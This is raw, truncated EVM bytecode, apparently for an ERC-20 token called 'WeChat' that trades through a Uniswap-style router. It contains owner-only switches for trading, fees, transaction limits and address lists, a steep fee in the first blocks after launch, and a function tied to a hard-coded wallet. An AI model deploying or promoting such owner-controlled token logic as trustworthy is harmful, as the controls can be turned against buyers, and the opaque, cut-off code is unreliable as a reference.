60806040526000600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff0219169083151502179055506003600f55604051806101000160405280600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff16815250601060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff16021790555060808201518160000160046101000a81548160ff021916908360ff16021790555060a08201518160000160056101000a81548160ff021916908360ff16021790555060c08201518160000160066101000a81548160ff021916908360ff16021790555060e08201518160000160076101000a81548160ff021916908360ff1602179055505050348015620001b257600080fd5b506040518060400160405280600681526020017f57654368617400000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f5765636861740000000000000000000000000000000000000000000000000000815250816003908162000230919062000a63565b50806004908162000242919062000a63565b505050600062000257620005ee60201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060006c01431e0fae6d7217caa00000009050606460038262000319919062000b79565b62000325919062000bf3565b600a8190555060646003826200033c919062000b79565b62000348919062000bf3565b600b8190555060646003826200035f919062000b79565b6200036b919062000bf3565b600c8190555061271060058262000383919062000b79565b6200038f919062000bf3565b600d8190555073e5bc46858e0ee4e190be89f7ded5f674955725e3600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e5bc46858e0ee4e190be89f7ded5f674955725e3600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060000160016101000a81548160ff021916908360ff1602179055506000601060000160036101000a81548160ff021916908360ff1602179055506000601060000160026101000a81548160ff021916908360ff160217905550601060000160029054906101000a900460ff16601060000160039054906101000a900460ff16601060000160019054906101000a900460ff16620004e1919062000c38565b620004ed919062000c38565b601060000160006101000a81548160ff021916908360ff1602179055506001601060000160056101000a81548160ff021916908360ff1602179055506000601060000160076101000a81548160ff021916908360ff1602179055506000601060000160066101000a81548160ff021916908360ff160217905550601060000160069054906101000a900460ff16601060000160079054906101000a900460ff16601060000160059054906101000a900460ff16620005ac919062000c38565b620005b8919062000c38565b601060000160046101000a81548160ff021916908360ff160217905550620005e73382620005f660201b60201c565b5062000dd2565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000668576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200065f9062000cd5565b60405180910390fd5b6200067f816002546200078660201b90919060201c565b600281905550620006d8816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200078660201b90919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200077a919062000d08565b60405180910390a35050565b600080828462000797919062000d25565b905083811015620007df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007d69062000db0565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200086b57607f821691505b60208210810362000881576200088062000823565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008eb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008ac565b620008f78683620008ac565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620009446200093e62000938846200090f565b62000919565b6200090f565b9050919050565b6000819050919050565b620009608362000923565b620009786200096f826200094b565b848454620008b9565b825550505050565b600090565b6200098f62000980565b6200099c81848462000955565b505050565b5b81811015620009c457620009b860008262000985565b600181019050620009a2565b5050565b601f82111562000a1357620009dd8162000887565b620009e8846200089c565b81016020851015620009f8578190505b62000a1062000a07856200089c565b830182620009a1565b50505b505050565b600082821c905092915050565b600062000a386000198460080262000a18565b1980831691505092915050565b600062000a53838362000a25565b9150826002028217905092915050565b62000a6e82620007e9565b67ffffffffffffffff81111562000a8a5762000a89620007f4565b5b62000a96825462000852565b62000aa3828285620009c8565b600060209050601f83116001811462000adb576000841562000ac6578287015190505b62000ad2858262000a45565b86555062000b42565b601f19841662000aeb8662000887565b60005b8281101562000b155784890151825560018201915060208501945060208101905062000aee565b8683101562000b35578489015162000b31601f89168262000a25565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000b86826200090f565b915062000b93836200090f565b925082820262000ba3816200090f565b9150828204841483151762000bbd5762000bbc62000b4a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000c00826200090f565b915062000c0d836200090f565b92508262000c205762000c1f62000bc4565b5b828204905092915050565b600060ff82169050919050565b600062000c458262000c2b565b915062000c528362000c2b565b9250828201905060ff81111562000c6e5762000c6d62000b4a565b5b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000cbd601f8362000c74565b915062000cca8262000c85565b602082019050919050565b6000602082019050818103600083015262000cf08162000cae565b9050919050565b62000d02816200090f565b82525050565b600060208201905062000d1f600083018462000cf7565b92915050565b600062000d32826200090f565b915062000d3f836200090f565b925082820190508082111562000d5a5762000d5962000b4a565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062000d98601b8362000c74565b915062000da58262000d60565b602082019050919050565b6000602082019050818103600083015262000dcb8162000d89565b9050919050565b6153ca8062000de26000396000f3fe6080604052600436106102345760003560e01c80637571336a1161012e578063c0246668116100ab578063dd62ed3e1161006f578063dd62ed3e1461086c578063e16830a8146108a9578063f2fde38b146108d2578063f5b3c3bf146108fb578063f887ea40146109385761023b565b8063c0246668146107a8578063c16dd4a4146107d1578063c18bc195146107fa578063c9567bf914610823578063d212a69a1461083a5761023b565b80639e252f00116100f25780639e252f00146106af5780639fccce32146106d8578063a457c2d714610703578063a9059cbb14610740578063b88631151461077d5761023b565b80637571336a146105ca5780638cd4426d146105f35780638da5cb5b1461061c57806395d89b411461064757806396880b17146106725761023b565b806339509351116101bc578063573ff80311610180578063573ff803146104e35780636ddd17131461052057806370a082311461054b578063715018a614610588578063751039fc1461059f5761023b565b806339509351146103f757806342e99d1a1461043457806349bd5a5e1461043e5780634fbee19314610469578063555467a1146104a65761023b565b80631a8145bb116102035780631a8145bb146102fc5780631f3fed8f1461032757806323b872dd146103525780632a0274c21461038f578063313ce567146103cc5761023b565b806306fdde0314610240578063095ea7b31461026b57806311a582c3146102a857806318160ddd146102d15761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b50610255610963565b604051610262919061428a565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190614345565b6109f5565b60405161029f91906143a0565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca91906143bb565b610a13565b005b3480156102dd57600080fd5b506102e6610be4565b6040516102f3919061440a565b60405180910390f35b34801561030857600080fd5b50610311610bee565b60405161031e919061440a565b60405180910390f35b34801561033357600080fd5b5061033c610bf4565b604051610349919061440a565b60405180910390f35b34801561035e57600080fd5b5061037960048036038101906103749190614425565b610bfa565b60405161038691906143a0565b60405180910390f35b34801561039b57600080fd5b506103b660048036038101906103b19190614345565b610cd3565b6040516103c391906143a0565b60405180910390f35b3480156103d857600080fd5b506103e1610d11565b6040516103ee9190614494565b60405180910390f35b34801561040357600080fd5b5061041e60048036038101906104199190614345565b610d1a565b60405161042b91906143a0565b60405180910390f35b61043c610dcd565b005b34801561044a57600080fd5b50610453611884565b60405161046091906144be565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b91906144d9565b6118aa565b60405161049d91906143a0565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c89190614506565b611900565b6040516104da91906143a0565b60405180910390f35b3480156104ef57600080fd5b5061050a600480360381019061050591906144d9565b6119a9565b60405161051791906143a0565b60405180910390f35b34801561052c57600080fd5b506105356119c9565b60405161054291906143a0565b60405180910390f35b34801561055757600080fd5b50610572600480360381019061056d91906144d9565b6119dc565b60405161057f919061440a565b60405180910390f35b34801561059457600080fd5b5061059d611a24565b005b3480156105ab57600080fd5b506105b4611b7c565b6040516105c191906143a0565b60405180910390f35b3480156105d657600080fd5b506105f160048036038101906105ec919061455f565b611c46565b005b3480156105ff57600080fd5b5061061a60048036038101906106159190614345565b611d38565b005b34801561062857600080fd5b50610631611e59565b60405161063e91906144be565b60405180910390f35b34801561065357600080fd5b5061065c611e83565b604051610669919061428a565b60405180910390f35b34801561067e57600080fd5b50610699600480360381019061069491906144d9565b611f15565b6040516106a691906143a0565b60405180910390f35b3480156106bb57600080fd5b506106d660048036038101906106d19190614506565b611f35565b005b3480156106e457600080fd5b506106ed61201d565b6040516106fa919061440a565b60405180910390f35b34801561070f57600080fd5b5061072a60048036038101906107259190614345565b612023565b60405161073791906143a0565b60405180910390f35b34801561074c57600080fd5b5061076760048036038101906107629190614345565b6120f0565b60405161077491906143a0565b60405180910390f35b34801561078957600080fd5b5061079261210e565b60405161079f91906143a0565b60405180910390f35b3480156107b457600080fd5b506107cf60048036038101906107ca919061455f565b612121565b005b3480156107dd57600080fd5b506107f860048036038101906107f3919061455f565b612213565b005b34801561080657600080fd5b50610821600480360381019061081c9190614506565b612395565b005b34801561082f57600080fd5b506108386124ca565b005b34801561084657600080fd5b5061084f6125ac565b60405161086398979695949392919061459f565b60405180910390f35b34801561087857600080fd5b50610893600480360381019061088e919061461d565b61264a565b6040516108a0919061440a565b60405180910390f35b3480156108b557600080fd5b506108d060048036038101906108cb919061455f565b6126d1565b005b3480156108de57600080fd5b506108f960048036038101906108f491906144d9565b6127c3565b005b34801561090757600080fd5b50610922600480360381019061091d91906144d9565b612989565b60405161092f91906143a0565b60405180910390f35b34801561094457600080fd5b5061094d6129a9565b60405161095a91906146bc565b60405180910390f35b60606003805461097290614706565b80601f016020809104026020016040519081016040528092919081815260200182805461099e90614706565b80156109eb5780601f106109c0576101008083540402835291602001916109eb565b820191906000526020600020905b8154815290600101906020018083116109ce57829003601f168201915b5050505050905090565b6000610a09610a026129cf565b84846129d7565b6001905092915050565b610a1b6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190614783565b60405180910390fd5b6064610ab4610be4565b610abe9190614801565b6103e883610aca610be4565b610ad49190614832565b610ade9190614801565b1015610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b16906148e6565b60405180910390fd5b6064610b29610be4565b610b339190614801565b6103e882610b3f610be4565b610b499190614832565b610b539190614801565b1015610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90614978565b60405180910390fd5b6103e882610ba0610be4565b610baa9190614832565b610bb49190614801565b600a819055506103e881610bc6610be4565b610bd09190614832565b610bda9190614801565b600b819055505050565b6000600254905090565b60125481565b60115481565b6000610c07848484612ba0565b610cc884610c136129cf565b610cc38560405180606001604052806028815260200161536d60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c796129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136769092919063ffffffff16565b6129d7565b600190509392505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050610d068482856136da565b600191505092915050565b60006012905090565b6000610dc3610d276129cf565b84610dbe8560016000610d386129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461383790919063ffffffff16565b6129d7565b6001905092915050565b610dd56129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5b90614783565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4a91906149ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff791906149ad565b6040518363ffffffff1660e01b81526004016110149291906149da565b6020604051808303816000875af1158015611033573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105791906149ad565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160166000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016016600061128d611e59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000611344611e59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000611475611e59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160186000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117cd30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6129d7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430611816306119dc565b60008033426040518863ffffffff1660e01b815260040161183c96959493929190614a3e565b60606040518083038185885af115801561185a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061187f9190614ab4565b505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061190a6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090614783565b60405180910390fd5b81600d8190555060019050919050565b60166020528060005260406000206000915054906101000a900460ff1681565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611a2c6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab290614783565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611b866129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0c90614783565b60405180910390fd5b611c1d610be4565b600a81905550611c2b610be4565b600b81905550611c39610be4565b600c819055506001905090565b611c4e6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd490614783565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611d406129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc690614783565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb611df3611e59565b836040518363ffffffff1660e01b8152600401611e11929190614b07565b6020604051808303816000875af1158015611e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e549190614b45565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611e9290614706565b80601f0160208091040260200160405190810160405280929190818152602001828054611ebe90614706565b8015611f0b5780601f10611ee057610100808354040283529160200191611f0b565b820191906000526020600020905b815481529060010190602001808311611eee57829003601f168201915b5050505050905090565b60176020528060005260406000206000915054906101000a900460ff1681565b611f3d6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc390614783565b60405180910390fd5b611fd4611e59565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612019573d6000803e3d6000fd5b5050565b60135481565b60006120e66120306129cf565b846120e185604051806060016040528060258152602001615322602591396001600061205a6129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136769092919063ffffffff16565b6129d7565b6001905092915050565b60006121046120fd6129cf565b8484612ba0565b6001905092915050565b600e60029054906101000a900460ff1681565b6121296129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121af90614783565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61221b6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a190614783565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361233a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233190614bbe565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61239d6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461242c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242390614783565b60405180910390fd5b6064612436610be4565b6124409190614801565b6103e88261244c610be4565b6124569190614832565b6124609190614801565b10156124a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249890614c50565b60405180910390fd5b6103e8816124ad610be4565b6124b79190614832565b6124c19190614801565b600c8190555050565b6124d26129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255890614783565b60405180910390fd5b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff0219169083151502179055506002436125a49190614c70565b601481905550565b60108060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16908060000160049054906101000a900460ff16908060000160059054906101000a900460ff16908060000160069054906101000a900460ff16908060000160079054906101000a900460ff16905088565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6126d96129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275f90614783565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6127cb6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461285a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285190614783565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036128c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c090614d16565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60186020528060005260406000206000915054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3d90614da8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aac90614e3a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612b93919061440a565b60405180910390a3505050565b60008103612bb957612bb483836000613895565b613671565b612bc1611e59565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612c2f5750612bff611e59565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c485750600e60029054906101000a900460ff16155b15612fce57600e60009054906101000a900460ff16612d4257601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d025750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3890614ea6565b60405180910390fd5b5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612de55750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612e3457600a54811115612e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e2690614f12565b60405180910390fd5b612f23565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612ed75750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f2257600b54811115612f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1890614f7e565b60405180910390fd5b5b5b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fcd57600c54612f80836119dc565b82612f8b9190614c70565b1115612fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fc390614fea565b60405180910390fd5b5b5b6000612fd9306119dc565b90506000600d548210159050808015612ffe5750600e60019054906101000a900460ff165b80156130175750600e60029054906101000a900460ff16155b801561306c5750601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156130c25750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131185750601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561315c576001600e60026101000a81548160ff021916908315150217905550613140613a3f565b6000600e60026101000a81548160ff0219169083151502179055505b6000600e60029054906101000a900460ff16159050601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806132125750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561321c57600090505b80156136625760006014544310156132bf576132566064613248600f5488613d6890919063ffffffff16565b613de290919063ffffffff16565b90506063605e826132679190614832565b6132719190614801565b601160008282546132829190614c70565b9250508190555060636005826132989190614832565b6132a29190614801565b601360008282546132b39190614c70565b9250508190555061363d565b601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561332d57506000601060000160049054906101000a900460ff1660ff16115b1561347f5761336d606461335f601060000160049054906101000a900460ff1660ff1688613d6890919063ffffffff16565b613de290919063ffffffff16565b9050601